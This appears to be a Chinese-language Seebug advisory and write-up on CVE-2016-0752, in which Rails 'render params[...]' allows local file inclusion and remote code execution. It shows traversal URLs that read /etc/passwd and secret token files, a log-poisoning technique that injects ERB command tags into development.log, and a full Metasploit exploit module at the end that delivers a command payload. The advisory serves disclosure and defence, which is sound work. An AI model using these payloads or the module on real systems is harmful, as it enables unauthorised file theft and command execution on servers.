Rails Dynamic Render 远程命令执行漏洞 (CVE-2016-0752)

2016-01-27T00:00:00
ID SSV:90633
Type seebug
Reporter Root
Modified 2016-01-27T00:00:00

Description

如果你的应用程序使用的动态模版路径 (例如: render params[:id]) 那么你的程序将会存在远程代码执行和本地文件包含漏洞. 请把你的 Rails 升级到最新版本, 或者重构你的 controllers

我们将展示如何在特定环境下使用代码执行和本地包含漏洞去攻击 Ruby on Rails 。 Rails的控制器有包含指定渲染文件的功能,举个例子, 当我们调用 show 方法的时候,如果没有定义其他渲染方法,该框架将会隐藏渲染 show.html.erb 文件。

> 在绝大多数情况下,开发者会输出不同的格式,例如:文本, JSON, XML 或者其他任何格式,或者查看一个文件, 在这种情况下, 就会使用一个可以动态渲染的模版语言,例如 ERB, HAML, 或者其他的什么. 但是有几种方法可以修改他们展示的内容, 对我们来说,我们只要盯着渲染的方法就好了. The Rails 的文档定义了几种渲染模版和定义内容的方法 , 包括指定模版的路径的 file: 参数。

如果你已经阅读过解决方法的文档,但是不确定你需不需要这样的功能——实际上并不止你一个人存在这样的疑惑。那么先让我们看看下面这段代码:

def show render params[:template] end

这个代码看起来似乎很简单,但是谁也想不到一个控制器只是为了渲染模版, 他定义了一个 template 参数. 但是他没有被过滤过, 然后 Rails 就会去找指定的模版. , 但是这个模版在哪呢?是 views 目录,还是根目录,又或者是其他目录? 难道他是期待一个模板文件名,或者是一个特殊后缀的文件名 ,还是说一个完整的路径? 带着这些未知的问题继续探索下去。

<br>

问题解答

动态渲染机制是用一个函数解决大量问题的最好的例子。这也就是他的问题所在。

让我们假设渲染机制是从 app/views/user/#{params[:template]} 路径读取文件 – 这似乎是一个合理的想法. 如果我们把 template 参数的值设置为 dashboard ,他将加载 app/views/user/dashboard.{ext}, .ext 是一个在白名单里的后缀名 (如 .html, .haml, .html.erb, etc.)

那让我们现在想想,如果把 template 的值设置为: ../admin/dashboard. 他将会返回什么样的结果给我们呢? 这可能比较难知道, 但是我们经过尝试时候,他提示我们缺少模版。

通过分析错误提示,可是看出他试图从 RAILS_ROOT/app/views, RAILS_ROOT 和系统根目录去寻找文件. 这有点让人蛋疼, 因为他为什么要从系统的根目录去寻找我们需要的模版文件呢?

> 通过黑客的本能反应,我把参数的内容设置为 /etc/passwd , 并且我们确实读取到了 passwd 文件. 这是一个重大的发现.

既然我们能够读取 passwd 文件, 那么我们是不是也能读取应用程序的源码和配置文件呢, 让我们把参数设置为 config/initializers/secrettoken.rb 看看。

> 别忘了是为什么造成了这样的漏洞,是因为你选择了动态设置模版路径导致的。

def show render params[:template] end

> 这只是一段片段并且简单的代码,就能造成这样的漏洞,我相信有不少开发者会这么写,但是这还不是最糟糕的问题。

通过 Jeff Jarmoc 的一篇论文 "The Anatomy of a Rails Vulnerability – CVE-2014-0130: From Directory Traversal to Shell," 我们得知,可以通过这样的漏洞获取一个远程代码执行.

Jeff 的论文介绍了一个在某些版本的 Rails 拥有一个相似的缺陷, Rail’s implicit 渲染机制允许目录遍历, 或者更准确的说, 本地文件包含, 这是一个因为开发者导致的漏洞.

> 在深入挖掘这个漏洞之前我们先思考下,我们现在拥有的是本地包含,而不是目录遍历. 不过我们拥有的一个优势就是, 我们可以加载可执行文件 (ERB). 传统意义上来说目录遍历只能返回一些不可执行的文件内容, 比如说 CSV 文件. 所以从本质上来说, 我们不仅可以读取程序的源代码, 还可以读取系统文件, 而且我们还能执行 ruby 代码,是不是屌屌的. 因为我们可以执行 ruby 代码, 所以我们拥有与 web server 同级别的权限去执行系统命令.

从文件包含到代码执行,我们需要采用一种叫日志污染的手法, 会将当前环境的每一个请求,包括参数都会写入日志文件 (比如说 development.log). 尽管是纯文本文件,只要是日志,都可以被包含进 ruby 代码. 通过使用有效的 ruby 代码作为参数发起一个请求便可以完成上述过程。

在下面的例子中我们向 web 程序发起一个合法的请求,通过 fake 参数传入一个URL编码的&lt;%=ls%&gt;

通过对日志文件的审计,我们可以看到日志中存在这么一条 url decode 后的参数条目,这是一个有效的 ruby 代码,当 web 应用渲染了该日志文件,代码就会被执行。

然后我们就可以用 ruby 的文件包含漏洞,将包含刚才的请求的日志包含尽量,刚刚的参数就会执行。

当请求返回后,我们可以看到,原来的 fake 参数的值已经被 ls 命令的值替代。通过如上的方法也可以执行其他的命令了。

<br>

结论

如果不去深入地挖掘细节或者积极地尝试 exploit,Rails 的渲染机制将是很神秘很难理解的。很遗憾,Rails 的参考文档在这方面并没有多大帮助。

和 CVE-2014-0130 类似, 使用动态模板渲染造成了目录遍历和代码执行。我已经不止一次地在很多开源 Rails 项目中看到过存在这种漏洞了。如果你还没有读过 Jeff Jarmoc 的那篇论文,我建议最好先阅读一下,这篇文章深入地挖掘了与 CVE-2014-0130 相关的漏洞和危害评估。

这是我写的可以探测和利用本文所述漏洞的 msf module: : https://gist.github.com/forced-request/5158759a6418e6376afb

> 以上中文翻译来自于:https://www.92aq.com/2016/01/27/ruby-on-rails-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C.html > 英文原文地址:https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/

<br>

时间线

  • 2015年2月1日 漏洞被发现
  • 2015年2月10日 Rails team 决定修复该漏洞
  • 2015年7月13日 漏洞在未公开情况下得到证实(距第一次报告该漏洞已经有 5 个月时间)
  • 2016年1月25日 针对该漏洞的补丁正式发布,并且该漏洞被 CVE 收录(近 5 个月才证实该漏洞,将近 1 年才修复该漏洞)
  • 2016年1月27日 Seebug 收录该漏洞

<br/>

漏洞证明

漏洞应用

测试环境:Rails-4.1.5 (Ruby-2.1.5) 测试系统:Kali Linux 2.0

创建 Rails 应用:

rails new cve-2016-0752 cd cve-2016-0752

使用自带命令创建控制器vuln路由index,并修改其路由默认处理代码:

rails generate controller vuln index

修改app/controllers/vuln_controller.rbindex函数代码为:

class VulnController &lt; ApplicationController def index render params[:q] end end

启动应用访问 http://192.168.199.205:3000/vuln/index?q=/etc/passwd 时,代码会将 /etc/passwd 做为模版相对使用函数 render 进行渲染,而 render 函数在寻找模版文件时默认包含了系统根路径,在应用默认的模版存储路径中无法找到 /etc/passwd 时回去寻找 //etc/passwd,这时如果能够访问到 //etc/passwd 文件,应用会将其文件内容作为模版进行渲染:

配合访问日志执行命令

Rails应用文件log/development.log存储的是用户访问日志,根据2.1现在已经能控制渲染的模板文件路径,借助访问日志就可以控制渲染模版的内容。借助Rails的模板引擎,在模板内容中插入模板元素<%= ifconfig %>,表示将 ifconfig 系统命令的结果作为渲染内容进行返回。

访问http://192.168.199.205:3000/vuln/index?q=<%25=%20ifconfig%20%25>,会在log/development.log中留下记录:

这时通过控制模版文件渲染为log/development.log,即可将目标主机的网络信息通过页面结果返回,http://192.168.199.205:3000/vuln/index?q=../../log/development.log:

漏洞影响

从 zoomeye.org 上搜索使用了 Rails 框架的站点:

全球大约有12w个使用了Rails的站点可能受到该漏洞的影响。

同时也可以在 Github 上搜索 render params 来查看潜在受到影响的 项目:

可以看到也有大量的项目符合这样的代码写法,可能受到该漏洞的影响。

                                        
                                            
                                                require 'msf/core'

class Metasploit3 &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking
  @@trav_string = '%5c%2e%2e%2f'

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'Ruby on Rails Dynamic Render Directory Traversal + Code Exec',
      'Description'    =&gt; %q{
        This module exploits a remote code execution vulnerability in the explicit render
        method when leveraging user parameters.
        This module has been tested across multiple versions of RoR 3.x and RoR 4.x
        The technique used by this module requires the specified endpoint to be using
        dynamic render paths, such as the following example:
        def show
          render params[:id]
        end
      },
      'Author'         =&gt;
        [
          'John Poulin (forced-request)'
        ],
      'License'        =&gt; MSF_LICENSE,
      'Platform'       =&gt; 'ruby',
      'Arch'           =&gt; ARCH_CMD,
      'Payload'        =&gt; 
      {
        'Compat'          =&gt;
          {
            'PayloadType'   =&gt; 'cmd',
            'RequiredCmd' =&gt; 'generic perl telnet'
          }
      },
      'Privileged'     =&gt; true,
     'Targets'        =&gt;
      [
        [ 'CMD',
          {
          'Arch' =&gt; ARCH_CMD,
          'Platform' =&gt; 'unix'
          }
        ]
      ],
      'DefaultTarget' =&gt; 0))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/user"]),
        OptString.new('LOGFILE', [ true, 'The environment\'s log file', 'log%2fdevelopment%2elog']),
        OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST', 'PUT'] ]),
        OptString.new('COOKIES', [ false, 'HTTP headers, including auth headers and cookies', ''])
      ], self.class)
  end

  def vuln
    desired_location = 'Gemfile'

    # Initial payload
    p = desired_location

    # Search for depth up to 10 to detect if server is vuln
    11.times do |i|
      res = send_request_cgi({
        'uri'       =&gt;  normalize_uri(datastore['URIPATH'], p),
        'method'    =&gt;  datastore['HTTP_METHOD'],
        'cookie'    =&gt;  datastore['COOKIES']
      }, 60)

      # Check if response contains Gemfile info
      if res.body.match(/^gem /)
        @depth = i
        print_good("It appears that this application is vulnerable")
        return true
      end

      # Prepare next payload
      p = @@trav_string + p
    end
    return false
  end

  def send_payload
    p = datastore['LOGFILE']
    (@depth).times do |i|
      p = @@trav_string + p
    end

    p = p + "?p=%3c%25%20%60" + CGI::escape(payload.encoded) + "%60%25%3e"
    print_status("Sending payload: #{p}")

    res = send_request_cgi({
      'uri'       =&gt;  normalize_uri(datastore['URIPATH'], p),
      'method'    =&gt;  datastore['HTTP_METHOD'],
      'cookie'    =&gt;  datastore['COOKIES']
    }, 60)
  end

  def render_log
    p = datastore['LOGFILE']
    (@depth).times do |i|
      p = @@trav_string + p
    end

    res = send_request_cgi({
      'uri'       =&gt;  normalize_uri(datastore['URIPATH'], p),
      'method'    =&gt;  datastore['HTTP_METHOD'],
      'cookie'    =&gt;  datastore['COOKIES']
    }, 60)
  end

  #
  # Send the actual request
  #
  def exploit
      print_status("Sending initial request to detect exploitability")

      # Check if vulnerable
      if vuln
        print_status("Attempting to exploit")
        
        send_payload
      else
        print_error("Application does not appear vulnerable")
      end
  end
end